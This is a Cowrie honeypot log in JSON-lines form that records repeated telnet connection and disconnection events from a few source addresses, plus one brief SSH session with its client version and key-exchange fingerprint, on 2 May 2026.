{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58308,"dst_ip":"10.17.0.5","dst_port":23,"session":"745c59114f36","protocol":"telnet","message":"New connection: 206.189.32.23:58308 (10.17.0.5:23) [session: 745c59114f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:01.815304Z"}
{"eventid":"cowrie.session.closed","duration":45.7421817779541,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:02.472059Z","src_ip":"206.189.32.23","session":"9a33f9a01c1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59284,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d01c1f4a42","protocol":"telnet","message":"New connection: 206.189.32.23:59284 (10.17.0.5:23) [session: 82d01c1f4a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:02.818911Z"}
{"eventid":"cowrie.session.closed","duration":46.81644916534424,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:03.384308Z","src_ip":"188.208.141.113","session":"39a30e62ba71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34166,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0c9941ed81","protocol":"telnet","message":"New connection: 188.208.141.113:34166 (10.17.0.5:23) [session: 1d0c9941ed81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:07.512787Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37968,"dst_ip":"10.17.0.5","dst_port":23,"session":"855d7116109f","protocol":"telnet","message":"New connection: 206.189.32.23:37968 (10.17.0.5:23) [session: 855d7116109f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:09.012725Z"}
{"eventid":"cowrie.session.closed","duration":44.102394104003906,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:11.822907Z","src_ip":"188.208.141.113","session":"ae807f77bab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.53037118911743,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:21.390062Z","src_ip":"188.208.141.113","session":"85c529515e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33938,"dst_ip":"10.17.0.5","dst_port":23,"session":"92256e926d30","protocol":"telnet","message":"New connection: 188.208.141.113:33938 (10.17.0.5:23) [session: 92256e926d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:27.432488Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33940,"dst_ip":"10.17.0.5","dst_port":23,"session":"af7c78414d4f","protocol":"telnet","message":"New connection: 188.208.141.113:33940 (10.17.0.5:23) [session: af7c78414d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:29.535923Z"}
{"eventid":"cowrie.session.closed","duration":2.408029317855835,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:31.943812Z","src_ip":"188.208.141.113","session":"af7c78414d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57286,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f991a876390","protocol":"telnet","message":"New connection: 188.208.141.113:57286 (10.17.0.5:23) [session: 5f991a876390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:32.872115Z"}
{"eventid":"cowrie.session.closed","duration":36.19409489631653,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:34.643716Z","src_ip":"188.208.141.113","session":"83f688a1c722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57290,"dst_ip":"10.17.0.5","dst_port":23,"session":"d64752a31b33","protocol":"telnet","message":"New connection: 188.208.141.113:57290 (10.17.0.5:23) [session: d64752a31b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:38.996704Z"}
{"eventid":"cowrie.session.closed","duration":39.957483530044556,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:40.777176Z","src_ip":"188.208.141.113","session":"86ef09e351be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.80946707725525,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:41.901328Z","src_ip":"188.208.141.113","session":"8a3c4356959f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.30279302597046,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:45.117973Z","src_ip":"206.189.32.23","session":"745c59114f36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55122,"dst_ip":"10.17.0.5","dst_port":23,"session":"245fb51e580d","protocol":"telnet","message":"New connection: 188.208.141.113:55122 (10.17.0.5:23) [session: 245fb51e580d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:46.061731Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55124,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d568290aea3","protocol":"telnet","message":"New connection: 188.208.141.113:55124 (10.17.0.5:23) [session: 4d568290aea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:48.806203Z"}
{"eventid":"cowrie.session.closed","duration":46.65515065193176,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:49.473909Z","src_ip":"206.189.32.23","session":"82d01c1f4a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.02339172363281,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:49.536038Z","src_ip":"188.208.141.113","session":"1d0c9941ed81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecd439de1cef","protocol":"telnet","message":"New connection: 188.208.141.113:52652 (10.17.0.5:23) [session: ecd439de1cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:51.301312Z"}
{"eventid":"cowrie.session.closed","duration":4.139011859893799,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:55.440217Z","src_ip":"188.208.141.113","session":"ecd439de1cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52664,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9ca81cc795","protocol":"telnet","message":"New connection: 188.208.141.113:52664 (10.17.0.5:23) [session: ec9ca81cc795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:58.384685Z"}
{"eventid":"cowrie.session.closed","duration":37.41557288169861,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:04.847929Z","src_ip":"188.208.141.113","session":"92256e926d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39552,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f1f0efb44ff","protocol":"telnet","message":"New connection: 188.208.141.113:39552 (10.17.0.5:23) [session: 2f1f0efb44ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:12.224739Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39558,"dst_ip":"10.17.0.5","dst_port":23,"session":"83eadad675b9","protocol":"telnet","message":"New connection: 188.208.141.113:39558 (10.17.0.5:23) [session: 83eadad675b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:12.478871Z"}
{"eventid":"cowrie.session.closed","duration":38.57669639587402,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:17.573296Z","src_ip":"188.208.141.113","session":"d64752a31b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.71347141265869,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:17.585498Z","src_ip":"188.208.141.113","session":"5f991a876390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.221988201141357,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:20.446596Z","src_ip":"188.208.141.113","session":"2f1f0efb44ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38642,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd935377173","protocol":"telnet","message":"New connection: 188.208.141.113:38642 (10.17.0.5:23) [session: 7fd935377173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:22.599603Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9018c8d1e91","protocol":"telnet","message":"New connection: 206.189.32.23:58228 (10.17.0.5:23) [session: f9018c8d1e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:23.616655Z"}
{"eventid":"cowrie.session.closed","duration":40.49320077896118,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:26.554801Z","src_ip":"188.208.141.113","session":"245fb51e580d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38644,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aa9b8004559","protocol":"telnet","message":"New connection: 188.208.141.113:38644 (10.17.0.5:23) [session: 2aa9b8004559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:29.370513Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0cf59b51f8","protocol":"telnet","message":"New connection: 188.208.141.113:59742 (10.17.0.5:23) [session: 6e0cf59b51f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:33.340689Z"}
{"eventid":"cowrie.session.closed","duration":1.3106200695037842,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:34.651189Z","src_ip":"188.208.141.113","session":"6e0cf59b51f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.13752579689026,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:34.943635Z","src_ip":"188.208.141.113","session":"4d568290aea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.415888071060181,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:35.786307Z","src_ip":"188.208.141.113","session":"2aa9b8004559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.68750286102295,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:38.072049Z","src_ip":"188.208.141.113","session":"ec9ca81cc795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56398,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b81368f3f95","protocol":"telnet","message":"New connection: 188.208.141.113:56398 (10.17.0.5:23) [session: 9b81368f3f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:42.687320Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56404,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ede5b38c5c","protocol":"telnet","message":"New connection: 188.208.141.113:56404 (10.17.0.5:23) [session: 80ede5b38c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:46.695342Z"}
{"eventid":"cowrie.session.closed","duration":36.51992630958557,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:48.998695Z","src_ip":"188.208.141.113","session":"83eadad675b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60260,"dst_ip":"10.17.0.5","dst_port":23,"session":"607c61247315","protocol":"telnet","message":"New connection: 188.208.141.113:60260 (10.17.0.5:23) [session: 607c61247315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:50.885179Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"da802a647a5b","protocol":"telnet","message":"New connection: 188.208.141.113:60268 (10.17.0.5:23) [session: da802a647a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:52.671512Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60276,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7cc5d8cdc79","protocol":"telnet","message":"New connection: 188.208.141.113:60276 (10.17.0.5:23) [session: e7cc5d8cdc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:53.055235Z"}
{"eventid":"cowrie.session.closed","duration":7.598757266998291,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:21:54.293998Z","src_ip":"188.208.141.113","session":"80ede5b38c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40960,"dst_ip":"10.17.0.5","dst_port":23,"session":"715cbd1b35f2","protocol":"telnet","message":"New connection: 188.208.141.113:40960 (10.17.0.5:23) [session: 715cbd1b35f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:03.787165Z"}
{"eventid":"cowrie.session.closed","duration":41.47833728790283,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:04.077831Z","src_ip":"188.208.141.113","session":"7fd935377173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.90306782722473,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:05.519631Z","src_ip":"206.189.32.23","session":"f9018c8d1e91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17692,"dst_ip":"159.203.135.109","dst_port":22,"session":"b01b031a6cc9","protocol":"ssh","message":"New connection: 194.59.206.2:17692 (159.203.135.109:22) [session: b01b031a6cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:06.983438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:06.988719Z","src_ip":"194.59.206.2","session":"b01b031a6cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:07.080551Z","src_ip":"194.59.206.2","session":"b01b031a6cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:07.178149Z","src_ip":"194.59.206.2","session":"b01b031a6cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157594680786,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:09.014150Z","src_ip":"206.189.32.23","session":"855d7116109f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58140,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0fe40faeb39","protocol":"telnet","message":"New connection: 206.189.32.23:58140 (10.17.0.5:23) [session: d0fe40faeb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:12.993389Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41412,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd742d2fafc","protocol":"telnet","message":"New connection: 188.208.141.113:41412 (10.17.0.5:23) [session: 7fd742d2fafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:16.057618Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41414,"dst_ip":"10.17.0.5","dst_port":23,"session":"21e55a773241","protocol":"telnet","message":"New connection: 188.208.141.113:41414 (10.17.0.5:23) [session: 21e55a773241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:18.694007Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41426,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9cfd446cdd3","protocol":"telnet","message":"New connection: 188.208.141.113:41426 (10.17.0.5:23) [session: e9cfd446cdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:19.651140Z"}
{"eventid":"cowrie.session.closed","duration":38.02263522148132,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:20.709830Z","src_ip":"188.208.141.113","session":"9b81368f3f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.764222621917725,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:23.458015Z","src_ip":"188.208.141.113","session":"21e55a773241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46216,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66d7a9c15b2","protocol":"telnet","message":"New connection: 188.208.141.113:46216 (10.17.0.5:23) [session: c66d7a9c15b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:27.483979Z"}
{"eventid":"cowrie.session.closed","duration":37.9465913772583,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:28.831504Z","src_ip":"188.208.141.113","session":"607c61247315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46220,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d8648625e0","protocol":"telnet","message":"New connection: 188.208.141.113:46220 (10.17.0.5:23) [session: 65d8648625e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:30.757646Z"}
{"eventid":"cowrie.session.closed","duration":3.1930506229400635,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:33.950585Z","src_ip":"188.208.141.113","session":"65d8648625e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.46503448486328,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:40.520108Z","src_ip":"188.208.141.113","session":"e7cc5d8cdc79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.290586948394775,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:42.961982Z","src_ip":"188.208.141.113","session":"da802a647a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43160,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b250a535b8","protocol":"telnet","message":"New connection: 188.208.141.113:43160 (10.17.0.5:23) [session: 78b250a535b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:43.802940Z"}
{"eventid":"cowrie.session.closed","duration":41.1193311214447,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:44.906374Z","src_ip":"188.208.141.113","session":"715cbd1b35f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.183544635772705,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:22:53.176811Z","src_ip":"206.189.32.23","session":"d0fe40faeb39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.91329860687256,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:01.970807Z","src_ip":"188.208.141.113","session":"7fd742d2fafc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0740b86a7cc","protocol":"telnet","message":"New connection: 188.208.141.113:44162 (10.17.0.5:23) [session: a0740b86a7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:07.465619Z"}
{"eventid":"cowrie.session.closed","duration":47.8451406955719,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:07.496202Z","src_ip":"188.208.141.113","session":"e9cfd446cdd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44168,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f21e88a573","protocol":"telnet","message":"New connection: 188.208.141.113:44168 (10.17.0.5:23) [session: 54f21e88a573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:10.557837Z"}
{"eventid":"cowrie.session.closed","duration":49.71487283706665,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:17.198765Z","src_ip":"188.208.141.113","session":"c66d7a9c15b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57170,"dst_ip":"10.17.0.5","dst_port":23,"session":"8081da0cd97f","protocol":"telnet","message":"New connection: 188.208.141.113:57170 (10.17.0.5:23) [session: 8081da0cd97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:21.075231Z"}
{"eventid":"cowrie.session.closed","duration":49.25157976150513,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:33.054383Z","src_ip":"188.208.141.113","session":"78b250a535b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.902832984924316,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:42.368331Z","src_ip":"188.208.141.113","session":"a0740b86a7cc","protocol":"telnet"}
